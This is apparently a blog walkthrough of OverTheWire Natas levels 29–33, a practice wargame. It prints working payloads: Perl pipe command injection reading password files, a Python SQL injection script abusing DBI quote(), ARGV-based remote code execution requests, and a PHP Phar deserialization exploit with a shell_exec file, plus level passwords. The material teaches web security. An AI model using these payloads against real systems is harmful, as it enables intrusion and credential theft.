After logging in with the credits above, this level shifts from PHP to Perl, and we notice that the drop-down menu and the file content give us a hint that this application is written in Perl. As usual, the goal is to read the password file for the next level.

The page presents a dropdown menu with various "perl underground" options. When selecting an option, it appends a .txt extension and displays the file contents.

Understanding the Vulnerability

Step 1: Command Injection Discovery

I discovered that the application is vulnerable to command injection through the file parameter. The key is that Perl command injection requires null byte termination.

Test payload:

http://natas29.natas.labs.overthewire.org/index.pl?file=|ls%00

This successfully lists the directory contents, confirming command injection is possible.

Step 2: Understanding the Filter

Initial attempts to read /etc/natas_webpass/natas30 directly failed with a "meep!" message. After viewing the source code (using |cat index.pl|base64%00), I found the filtering mechanism:

perlCopyif($f=~/natas/){
    print "meeeeeep!<br>";
}

The application blocks any request containing the string "natas".

Step 3: Bypass Strategy

The filter can be bypassed using wildcards to replace characters in "natas":

  • Replace one character in each instance of "natas" with a question mark (?)

  • The question mark acts as a single-character wildcard in Unix-like systems

Solution

Final payload:

http://natas29.natas.labs.overthewire.org/index.pl?file=|cat /etc/n?tas_webpass/n?tas30%00

And here is the password for the level 30
WQhx1BvcmP9irs2MP9tRnLsNaDI76YrH

Natas Level 30 → Level 31

Username: natas30
Password: WQhx1BvcmP9irs2MP9tRnLsNaDI76YrH
URL: http://natas30.natas.labs.overthewire.org

After logging in with the credits above, This level continues with Perl and introduces an interesting SQL injection vulnerability that exploits the behavior of Perl's DBI quote() function. The page presents a simple login form with username and password fields.

Understanding the Source Code

Let's break down the key parts of the source code:

if ('POST' eq request_method && param('username') && param('password')){
    my $dbh = DBI->connect( "DBI:mysql:natas30","natas30", "<censored>", {'RaiseError' => 1});
    my $query="Select * FROM users where username =".$dbh->quote(param('username')) . 
              " and password =".$dbh->quote(param('password')); 
    my $sth = $dbh->prepare($query);
    $sth->execute();
    my $ver = $sth->fetch();
    if ($ver){
        print "win!<br>";
        print "here is your result:<br>";
        print @$ver;
    }

Key observations:

  1. The code uses $dbh->quote() for SQL injection prevention

  2. Parameters are obtained using param()

  3. The query results are displayed if authentication succeeds

The Vulnerability

While searching about perl sql injection I found this The vulnerability lies in how Perl's DBI quote() function behaves with different argument types. There are two key aspects:

  1. The quote() function has two forms:

     perlCopy$sql = $dbh->quote($value);      # Form 1
     $sql = $dbh->quote($value, $data_type);  # Form 2
    
  2. In Perl, the param() function can return multiple values if the same parameter name is used multiple times

The SQL Injection Vector

When quote() is called with a second argument specifying a numeric data type (like SQL_INTEGER = 4), it treats the input as numeric and doesn't quote it. This creates our injection opportunity.

Crafting the Exploit

We can exploit this by:

  1. Sending the password parameter as an array

  2. Making the first element of our SQL injection

  3. Setting the second element as a number to trigger the numeric handling

import requests
from requests.auth import HTTPBasicAuth

basicAuth=HTTPBasicAuth('natas30', 'WQhx1BvcmP9irs2MP9tRnLsNaDI76YrH')

u="http://natas30.natas.labs.overthewire.org/index.pl"

params={"username": "user", "password": ["'password' or 1", 5]}
response = requests.post(u, data=params, auth=basicAuth, verify=False)

print(response.text)

And here is the password for the level 31
m7bfjAHpJmSYgQWWeqRE2qVBuMiRNq0y

Natas Level 31 → Level 32: Perl DBI quote() Function Type Handling Exploitation

Username: natas31
Password: m7bfjAHpJmSYgQWWeqRE2qVBuMiRNq0y
URL: http://natas31.natas.labs.overthewire.org

After logging in with the credits above, In this level, we encounter a Perl-based web application that allows users to upload and render CSV files as HTML tables. However, the real vulnerability lies in Perl's CGI module and file-handling mechanisms.

Source Code:

The key vulnerability is rooted in Perl's CGI module handling of file uploads. Two critical functions are involved:

my $cgi = CGI->new;
if ($cgi->upload('file')) {
    my $file = $cgi->param('file');
    print '<table class="sortable table table-hover table-striped">';
    $i=0;
    while (<$file>) {
        my @elements=split /,/, $_;

        if($i==0){ # header
            print "<tr>";
            foreach(@elements){
                print "<th>".$cgi->escapeHTML($_)."</th>";   
            }
            print "</tr>";
        }
        else{ # table content
            print "<tr>";
            foreach(@elements){
                print "<td>".$cgi->escapeHTML($_)."</td>";   
            }
            print "</tr>";
        }
        $i+=1;
    }
    print '</table>';
}
else{
print <<END;

I first tested normal functionality by uploading a sample CSV file:

id,name,email,age
1,John Doe,johndoe@example.com,28
2,Jane Smith,janesmith@example.com,34
3,Michael Brown,michaelbrown@example.com,45
4,Emily Davis,emilydavis@example.com,22

Here is an example request for uploaded csv file:

The application successfully processed this file and displayed it as a nicely formatted HTML table.

The key vulnerability lies in how Perl handles file descriptors and the ARGV special variable.

Exploitation

The Vulnerability

I discovered that we can manipulate the file handling by:

  1. Adding an additional file parameter with the value ARGV

  2. Using the URL parameter to specify which file to read

Crafting the Exploit

I modified the original request by:

  1. Adding ?/etc/natas_webpass/natas32 to the URL path

  2. Inserting an additional form-data block with ARGV before the CSV file data

How It Works

  1. The first file parameter with value ARGV tricks Perl's file-handling mechanism

  2. The URL parameter /etc/natas_webpass/natas32 is read as an argument to ARGV

  3. This causes Perl to read the specified file instead of the uploaded CSV

Success!

The modified request successfully retrieved the contents of /etc/natas_webpass/natas32, revealing the password for the next level.

Technical Deep Dive

The exploit works because:

  1. Perl's CGI module allows multiple values for the same parameter

  2. The ARGV file handle in Perl has special behavior with <>

  3. When using ARGV, Perl attempts to read files specified in command line arguments

I recommend watching this Black hat talk that explains the Perl Jam 2 Pinnacle Attack

And here is the password for the level 32
NaIWhW2VIrKqrc7aroJVHOZvk3RQMi0B

Natas Level 32 → Level 33: Remote Code Execution (RCE) via ARGV Command Injection

Username: natas32
Password: NaIWhW2VIrKqrc7aroJVHOZvk3RQMi0B
URL: http://natas32.natas.labs.overthewire.org/

After logging in with the credits above, Natas32 builds upon the previous level's vulnerability but requires us to achieve Remote Code Execution (RCE) instead of just file reading. The web application appears identical to level 31, presenting a CSV to HTML converter.

Initial Analysis

The webpage at http://natas32.natas.labs.overthewire.org hints that we need code execution, suggesting our file reading exploit from level 31 needs to be elevated to RCE.

Exploitation Process

Step 1: Directory Enumeration

First, I needed to see what files were available in the current directory. Using the ARGV vulnerability from level 31, I crafted a request to execute ls -lah:

POST /index.pl?ls%20-lah%20.%20%7c HTTP/1.1
Host: natas32.natas.labs.overthewire.org
[...]
Content-Type: multipart/form-data; boundary=---------------------------29201702249798150581874685734
[...]

-----------------------------29201702249798150581874685734
Content-Disposition: form-data; name="file"

ARGV
-----------------------------29201702249798150581874685734
Content-Disposition: form-data; name="file"; filename="CSV2HTML.csv"
[...]

Key elements of the exploit:

  1. Added ?ls%20-lah%20.%20%7c to the URL path (%7c is the URL-encoded pipe symbol |)

  2. Inserted the ARGV parameter before the CSV file data

  3. Used a pipe (|) to execute the command

Step 2: Discovering the Password Binary

The directory listing revealed an interesting executable file called getpassword. This binary appeared to be designed to output the password for level 33.

Step 3: Executing the Binary

To get the password, I modified the command to execute the getpassword binary:

POST /index.pl?./getpassword%20| HTTP/1.1
[...]

The binary is executed successfully and outputs the password for natas33.

The RCE Mechanism

The exploit works by:

  1. Using ARGV as a file handle to trick Perl's file processing

  2. Adding a pipe symbol (|) at the end of the command to execute it

  3. URL encoding spaces (%20) and the pipe (%7c) for proper HTTP transmission

Key Components

  • The ls -lah command helped identify available files

  • The getpassword binary was specifically placed to provide the next level's credentials

  • Command execution was achieved through Perl's ARGV handling and pipe operator

Why It Works

  1. Perl's CGI module allows multiple file parameters

  2. The ARGV file handle enables command execution when used with a pipe

  3. The application doesn't sanitize or restrict command execution through the ARGV handler

Lessons Learned

This challenge teaches:

  1. How to escalate file read vulnerabilities to RCE

  2. The importance of proper input validation and file handling

  3. How legacy features can be exploited in unexpected ways

  4. The value of thorough system enumeration

Prevention

To prevent such vulnerabilities:

  • Disable unnecessary file handle operations

  • Implement proper input validation

  • Use modern, secure frameworks

  • Restrict command execution capabilities

  • Properly sandbox web applications

This level demonstrates how a seemingly simple file upload functionality can be exploited to achieve full command execution when proper security controls are not in place.

And here is the password for the level 33
2v9nDlbSF7jvawaCncr5Z9kSzkmBeoCJ

Natas Level 33 → Level 34: Exploiting PHP Phar Deserialization via MD5 Hash Bypass

Username: natas33
Password: 2v9nDlbSF7jvawaCncr5Z9kSzkmBeoCJ
URL: http://natas33.natas.labs.overthewire.org/

After logging in with the credits above, This level introduces us to PHP object injection via Phar deserialization, which can be used to bypass the MD5 hash verification. Let's break down how to solve it.

Source Code:

 <?php
        class Executor{
          private $filename=""; 
          private $signature='adeafbadbabec0dedabada55ba55d00d';
          private $init=False;

        function __construct(){
          $this->filename=$_POST["filename"];
               if(filesize($_FILES['uploadedfile']['tmp_name']) > 4096) {
                    echo "File is too big<br>";
                }
               else {
                    if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], "/natas33/upload/" . $this->filename)) {
                      echo "The update has been uploaded to: /natas33/upload/$this->filename<br>";
                      echo "Firmware upgrad initialised.<br>";
                        }
                     else{
                       echo "There was an error uploading the file, please try again!<br>";
                      }
                  }
               }

        function __destruct(){
                    // upgrade firmware at the end of this script
                    // "The working directory in the script shutdown phase can be different with some SAPIs (e.g. Apache)."
                chdir("/natas33/upload/");
                if(md5_file($this->filename) == $this->signature){
                echo "Congratulations! Running firmware update: $this->filename <br>";
                        passthru("php " . $this->filename);
                    }
                else{
                echo "Failur! MD5sum mismatch!<br>";
                    }
                }
            }
        ?>
<?php
        session_start();
          if(array_key_exists("filename", $_POST) and array_key_exists("uploadedfile",$_FILES)) {
          new Executor();                }
?>

The Challenge

The web application allows users to upload "firmware" files and includes a verification mechanism that checks the MD5 hash of the uploaded file. Here's what we're working with:

  1. A file size limit of 4096 bytes

  2. MD5 hash verification against a specific signature

  3. File execution if the hash matches

Understanding the Vulnerability

The key vulnerability lies in the __destruct() method:

function __destruct(){
    chdir("/natas33/upload/");
    if(md5_file($this->filename) == $this->signature){
        echo "Congratulations! Running firmware update: $this->filename  ";
        passthru("php " . $this->filename);
    }
    else{
        echo "Failur! MD5sum mismatch! ";
    }
}

The code uses:

  • md5_file() for hash verification

  • Loose comparison (==) for hash checking

  • passthru() to execute the file

The Attack Vector: Phar Deserialization

We can exploit this using a Phar deserialization attack because:

  1. md5_file() triggers PHP's file operations

  2. Phar files contain serialized metadata

  3. When accessing a Phar file using the phar:// wrapper, PHP deserializes this metadata

Solution Steps

1. Create the Shell File (shell.php)

<?php echo shell_exec('cat /etc/natas_webpass/natas34'); ?>

2. Create the Phar Generator (natas33.php)

<?php
class Executor {
    private $filename = "shell.php";
    private $signature = True;
    private $init = false;
}

$phar = new Phar('natas.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ?>');

$object = new Executor();
$object->data = 'rips';
$phar->setMetadata($object);
$phar->stopBuffering();
?>

3. Generate the Phar File

php -d phar.readonly=false natas33.php

The ouput of natas33.php is natas.phar file:

4. Exploitation Steps

  1. Upload shell.php:

    • Send POST request to upload shell.php

    • Modify filename parameter to "shell.php"

  1. Upload natas.phar:

    • Send POST request to upload natas.phar

    • Modify filename parameter to "natas.phar"

  1. Trigger the Exploit:

    • Send another POST request

    • Set filename to "phar://natas.phar/test.txt"

How the Exploit Works

  1. When the md5_file() function processes our Phar file:

    • The Phar metadata is unserialized

    • Our malicious Executor object is created

    • $signature is set to True

    • $filename is set to "shell.php"

  2. The loose comparison == $this->signature evaluates to true because:

    • Any string compared with true using == evaluates to true

    • This bypasses the MD5 check

  3. The application then executes our shell.php file, which reads the password for level 34

Key Takeaways

  1. Phar files can be used for object injection attacks when file operations are involved

  2. Loose comparisons (==) in PHP can lead to unexpected behavior

  3. Magic methods like __destruct() are prime targets for exploitation

  4. File operations that parse metadata can lead to deserialization vulnerabilities

Prevention

To prevent similar vulnerabilities:

  • Use strict comparison (===) for hash verification

  • Implement proper file type validation

  • Avoid using unserialize() on user-controlled data

  • Consider disabling the Phar stream wrapper if not needed

And here is the password for the level 33
j4O7Q7Q5er5XFRCepmyXJaWCSIrslCJY

After completing all 34 levels of OverTheWire's Natas wargame, I've gained invaluable insights into web application security. The journey from basic password inspection to advanced PHP object injection has been challenging and rewarding. I truly enjoyed solving each level and expanding my knowledge of web security. I hope those who followed these walkthroughs found them helpful and enjoyed the journey as much as I did!